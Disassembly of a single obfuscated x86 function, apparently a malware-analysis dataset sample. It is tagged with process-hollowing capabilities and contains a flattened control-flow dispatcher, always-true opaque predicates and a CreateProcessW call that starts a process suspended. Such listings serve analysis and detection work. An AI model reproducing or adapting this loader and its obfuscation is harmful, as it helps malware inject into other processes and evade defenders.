Function at 0x10008830
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x128
mov eax, dword [0x10073800]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0x34bcdeb
sub edx, 1
add edx, 0x34bcdeb
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x12a], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x129], al
mov dword [ebp - 0x130], 0x177a8e2f
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x134], eax
sub eax, 0x802a70f6
je 0x10012994
jmp 0x100088ab
mov eax, dword [ebp - 0x134]
sub eax, 0x802fc197
je 0x1001231b
jmp 0x100088c1
mov eax, dword [ebp - 0x134]
sub eax, 0x803e1f62
je 0x1000f005
jmp 0x100088d7
mov eax, dword [ebp - 0x134]
sub eax, 0x8058912a
je 0x10010067
jmp 0x100088ed
mov eax, dword [ebp - 0x134]
sub eax, 0x8098c8bc
je 0x1000ff0b
jmp 0x10008903
mov eax, dword [ebp - 0x134]
sub eax, 0x81137c4b
je 0x1001473b
jmp 0x10008919
mov eax, dword [ebp - 0x134]
sub eax, 0x811b2140
je 0x1001113e
jmp 0x1000892f
mov eax, dword [ebp - 0x134]
sub eax, 0x819940bf
je 0x1001319b
jmp 0x10008945
mov eax, dword [ebp - 0x134]
sub eax, 0x81c25a2a
je 0x1000d9c4
jmp 0x1000895b
mov eax, dword [ebp - 0x134]
sub eax, 0x81cbe26f
je 0x1000f65e
jmp 0x10008971
mov eax, dword [ebp - 0x134]
sub eax, 0x82051420
je 0x100105e3
jmp 0x10008987
mov eax, dword [ebp - 0x134]
sub eax, 0x82913198
je 0x10013302
jmp 0x1000899d
mov eax, dword [ebp - 0x134]
sub eax, 0x82dedc0b
je 0x1000d8e3
jmp 0x100089b3
mov eax, dword [ebp - 0x134]
sub eax, 0x83008768
je 0x10015cdd
jmp 0x100089c9
mov eax, dword [ebp - 0x134]
sub eax, 0x8404d11d
je 0x10011402
jmp 0x100089df
mov eax, dword [ebp - 0x134]
sub eax, 0x845c9c79
je 0x100102b7
jmp 0x100089f5
mov eax, dword [ebp - 0x134]
sub eax, 0x8539863e
je 0x1000f341
jmp 0x10008a0b
mov eax, dword [ebp - 0x134]
sub eax, 0x859450f6
je 0x1000cb39
jmp 0x10008a21
mov eax, dword [ebp - 0x134]
sub eax, 0x85ef566d
je 0x1000f8ef
jmp 0x10008a37
mov eax, dword [ebp - 0x134]
sub eax, 0x8763f224
je 0x100110f9
jmp 0x10008a4d
mov eax, dword [ebp - 0x134]
sub eax, 0x87c14ef0
je 0x1001468a
jmp 0x10008a63
mov eax, dword [ebp - 0x134]
sub eax, 0x884b81a1
je 0x10015c5c
jmp 0x10008a79
mov eax, dword [ebp - 0x134]
sub eax, 0x8866b5b5
je 0x10011e11
jmp 0x10008a8f
mov eax, dword [ebp - 0x134]
sub eax, 0x8915c4bf
je 0x10015434
jmp 0x10008aa5
mov eax, dword [ebp - 0x134]
sub eax, 0x8983d889
je 0x10014143
jmp 0x10008abb
mov eax, dword [ebp - 0x134]
sub eax, 0x89c9ef24
je 0x10011f3e
jmp 0x10008ad1
mov eax, dword [ebp - 0x134]
sub eax, 0x8ab1d19b
je 0x1000dd14
jmp 0x10008ae7
mov eax, dword [ebp - 0x134]
sub eax, 0x8ad89375
je 0x1000cd54
jmp 0x10008afd
mov eax, dword [ebp - 0x134]
sub eax, 0x8b4c6cf9
je 0x1001233c
jmp 0x10008b13
mov eax, dword [ebp - 0x134]
sub eax, 0x8b523c47
je 0x1001270b
jmp 0x10008b29
mov eax, dword [ebp - 0x134]
sub eax, 0x8bbfb584
je 0x10011bbf
jmp 0x10008b3f
mov eax, dword [ebp - 0x134]
sub eax, 0x8bda4899
je 0x10015bb7
jmp 0x10008b55
mov eax, dword [ebp - 0x134]
sub eax, 0x8c08423c
je 0x1000e3aa
jmp 0x10008b6b
mov eax, dword [ebp - 0x134]
sub eax, 0x8c3ec971
je 0x1000d943
jmp 0x10008b81
mov eax, dword [ebp - 0x134]
sub eax, 0x8c7f7c27
je 0x10015edb
jmp 0x10008b97
mov eax, dword [ebp - 0x134]
sub eax, 0x8c93f685
je 0x10015fc4
jmp 0x10008bad
mov eax, dword [ebp - 0x134]
sub eax, 0x8ca9e2a4
je 0x1000cc28
jmp 0x10008bc3
mov eax, dword [ebp - 0x134]
sub eax, 0x8cb1fce4
je 0x100122bc
jmp 0x10008bd9
mov eax, dword [ebp - 0x134]
sub eax, 0x8d735e45
je 0x10015758
jmp 0x10008bef
mov eax, dword [ebp - 0x134]
sub eax, 0x8df79265
je 0x100150be
jmp 0x10008c05
mov eax, dword [ebp - 0x134]
sub eax, 0x8e04cf8c
je 0x100158a8
jmp 0x10008c1b
mov eax, dword [ebp - 0x134]
sub eax, 0x8ec3b1fe
je 0x10012cf7
jmp 0x10008c31
mov eax, dword [ebp - 0x134]
sub eax, 0x8ed40246
je 0x10011650
jmp 0x10008c47
mov eax, dword [ebp - 0x134]
sub eax, 0x8f615ed7
je 0x1000f047
jmp 0x10008c5d
mov eax, dword [ebp - 0x134]
sub eax, 0x8f96db9b
je 0x100155bd
jmp 0x10008c73
mov eax, dword [ebp - 0x134]
sub eax, 0x8fed1241
je 0x10010108
jmp 0x10008c89
mov eax, dword [ebp - 0x134]
sub eax, 0x8ff87d70
je 0x10010c25
jmp 0x10008c9f
mov eax, dword [ebp - 0x134]
sub eax, 0x901e0e73
je 0x10010bb7
jmp 0x10008cb5
mov eax, dword [ebp - 0x134]
sub eax, 0x907cf4d9
je 0x1000efb8
jmp 0x10008ccb
mov eax, dword [ebp - 0x134]
sub eax, 0x909a802b
je 0x10013d6a
jmp 0x10008ce1
mov eax, dword [ebp - 0x134]
sub eax, 0x90de86f6
je 0x1000ddf4
jmp 0x10008cf7
mov eax, dword [ebp - 0x134]
sub eax, 0x9113a6e3
je 0x10010ded
jmp 0x10008d0d
mov eax, dword [ebp - 0x134]
sub eax, 0x91178d10
je 0x1000de15
jmp 0x10008d23
mov eax, dword [ebp - 0x134]
sub eax, 0x91cc6994
je 0x100159b9
jmp 0x10008d39
mov eax, dword [ebp - 0x134]
sub eax, 0x91cf65c7
je 0x1000dac7
jmp 0x10008d4f
mov eax, dword [ebp - 0x134]
sub eax, 0x92db83ca
je 0x1000fc43
jmp 0x10008d65
mov eax, dword [ebp - 0x134]
sub eax, 0x93a406c0
je 0x1001307a
jmp 0x10008d7b
mov eax, dword [ebp - 0x134]
sub eax, 0x93b975c0
je 0x10015aaf
jmp 0x10008d91
mov eax, dword [ebp - 0x134]
sub eax, 0x94c47bbd
je 0x10011e20
jmp 0x10008da7
mov eax, dword [ebp - 0x134]
sub eax, 0x95199e3d
je 0x1000ed7d
jmp 0x10008dbd
mov eax, dword [ebp - 0x134]
sub eax, 0x9529d582
je 0x100146cd
jmp 0x10008dd3
mov eax, dword [ebp - 0x134]
sub eax, 0x954fe8fb
je 0x1000d59f
jmp 0x10008de9
mov eax, dword [ebp - 0x134]
sub eax, 0x955bd813
je 0x1000ea0c
jmp 0x10008dff
mov eax, dword [ebp - 0x134]
sub eax, 0x95d4be26
je 0x10015185
jmp 0x10008e15
mov eax, dword [ebp - 0x134]
sub eax, 0x96418e9b
je 0x1000fff9
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xa46354e5
mov ecx, 0xf71b4958
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdb275a1e
mov ecx, 0x559e1080
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dword [ebp - 0x130], 0x14bac3e5
jmp 0x10016113
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100237b4]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xbbeab921
jmp 0x10016113
mov dword [ebp - 0x130], 0xaeefc203
jmp 0x10016113
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0x276116e2
sub edx, 1
sub edx, 0x276116e2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x4c6241f2
mov ecx, 0x2009b128
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dl, 1
mov eax, 0xeb739852
mov ecx, 0xf0722488
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10023788]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xa45c1c51
jmp 0x10016113
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x96557716
mov ecx, 0xfa9b533f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0x120]
movss xmm0, dword [0x10023778]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x91178d10
jmp 0x10016113
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc292ba19
mov ecx, 0x635999c3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x3b16e250
mov ecx, 0x27efe165
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dword [ebp - 0x130], 0x6456f196
jmp 0x10016113
mov dl, 1
mov eax, 0x313801b1
mov ecx, 0xd138dd13
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dword [ebp - 0x130], 0xb88f5cde
jmp 0x10016113
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100236f4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x100236f0]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x7b79124c
jmp 0x10016113
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0x2e943be4
sub edx, 1
add edx, 0x2e943be4
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbf7c21c0
mov ecx, 0xd87d11da
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dword [ebp - 0x130], 0x7be569e7
jmp 0x10016113
mov eax, dword [ebp - 0x110]
movss xmm0, dword [0x10023474]
movss dword [eax], xmm0
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
add edx, 0x7fff4c14
sub edx, 1
sub edx, 0x7fff4c14
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xb17f5bfc
mov ecx, 0x6c7c780d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dl, 1
mov eax, 0x5d641e80
mov ecx, 0x49a6ac38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x8e04cf8c
mov ecx, 0x68fc2f74
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100236b4]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x13d4ad95
jmp 0x10016113
mov eax, dword [ebp - 0x10c]
movss xmm0, dword [0x100236a4]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xe0e697d3
jmp 0x10016113
mov dl, 1
mov eax, 0x63409e8b
mov ecx, 0xa329dc68
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dl, 1
mov eax, 0xbd13bab1
mov ecx, 0x4b6b912f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0x108]
movss xmm0, dword [0x10023674]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xe9674f70
jmp 0x10016113
mov dword [ebp - 0x130], 0x3c390fff
jmp 0x10016113
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0x2fca470b
sub edx, 1
add edx, 0x2fca470b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1451b8a
mov ecx, 0x4bdb59ef
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6f083691
mov ecx, 0x5e6c862
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10023624]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10023620]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1002361c]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x811b2140
jmp 0x10016113
mov dl, 1
mov eax, 0x6632f417
mov ecx, 0xbfc0df3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
mov edx, ecx
sub edx, 0xa489ac83
sub edx, 1
add edx, 0xa489ac83
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5676fe65
mov ecx, 0x191c0208
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1002360c]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xbbbb3d28
jmp 0x10016113
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100235f0]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x9eeb5f57
jmp 0x10016113
mov dword [ebp - 0x130], 0x94c47bbd
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5ce15ec5
mov ecx, 0x2c17a662
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x100235dc]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x786f9e6a
jmp 0x10016113
mov dl, 1
mov eax, 0x802fc197
mov ecx, 0x2ae5bf62
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100235b8]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x8b4c6cf9
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbfe5e74f
mov ecx, 0xb0341787
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100235b0]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x79a2cfa7
jmp 0x10016113
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100233dc]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x100233d8]
movss dword [eax], xmm0
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0x8e5d74ea
sub edx, 1
sub edx, 0x8e5d74ea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9ac8985f
mov ecx, 0x360ad46
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10023580]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x1002357c]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x32ceb48a
jmp 0x10016113
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0x31f82a76
sub edx, 1
sub edx, 0x31f82a76
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7279822e
mov ecx, 0x1ad7d786
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dword [ebp - 0x130], 0xf87edbe
jmp 0x10016113
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x10023540]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1002353c]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x4977406e
jmp 0x10016113
mov eax, dword [ebp - 0xcc]
mov edx, dword [eax]
mov eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xd4]
xor esi, esi
sub esp, 0x28
mov dword [esp], edx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 4
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x84], eax
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
sub edx, 0x88e5b2b9
sub edx, 1
add edx, 0x88e5b2b9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7d2d4d12
mov ecx, 0xdbad3437
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xea2eaa06
mov ecx, 0xde539b0d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, eax
xor eax, eax
sub eax, 1
add ecx, eax
xor eax, eax
sub eax, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x130], 0xb60bd977
jmp 0x10016113
mov ecx, dword [0x10074b28]
mov eax, dword [0x10074b24]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe68dbbd7
mov ecx, 0x81137c4b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0xf47b5c4c
sub edx, 1
sub edx, 0xf47b5c4c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe68dbbd7
mov ecx, 0x5192a755
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov eax, dword [0x10074b28]
mov ecx, dword [0x10074b24]
mov edx, eax
add edx, 0xa6db626c
sub edx, 1
sub edx, 0xa6db626c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x498c31bd
mov ecx, 0x7c5beb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x130], eax
jmp 0x10016113
mov dword [ebp - 0x130], 0xc44f16fd
jmp 0x10016113
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100234e8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x124]
movss xmm0, dword [0x100234e4]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x4bd70ac5
jmp 0x10016113
mov eax, dword [ebp - 0x11c]
movss xmm0, dword [0x100234bc]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x9a237035
jmp 0x10016113
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x1002348c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x114]
movss xmm0, dword [0x10023488]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x6ee91939
jmp 0x10016113
mov dword [ebp - 0x130], 0x92db83ca
jmp 0x10016113
mov eax, dword [ebp - 0x104]
movss xmm0, dword [0x10023444]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xaf817ed5
jmp 0x10016113
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10023428]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10023424]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x169dcb1b
jmp 0x10016113
mov dword [ebp - 0x130], 0xc01dec95
jmp 0x10016113
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100233f4]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0x7b1db009
jmp 0x10016113
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x100233e8]
movss dword [eax], xmm0
mov dword [ebp - 0x130], 0xbdbc747f
jmp 0x10016113
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0x130], 0x4835b298
jmp 0x10016113
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x130], 0xe97ea36e
jmp 0x10016113
jmp 0x1000888f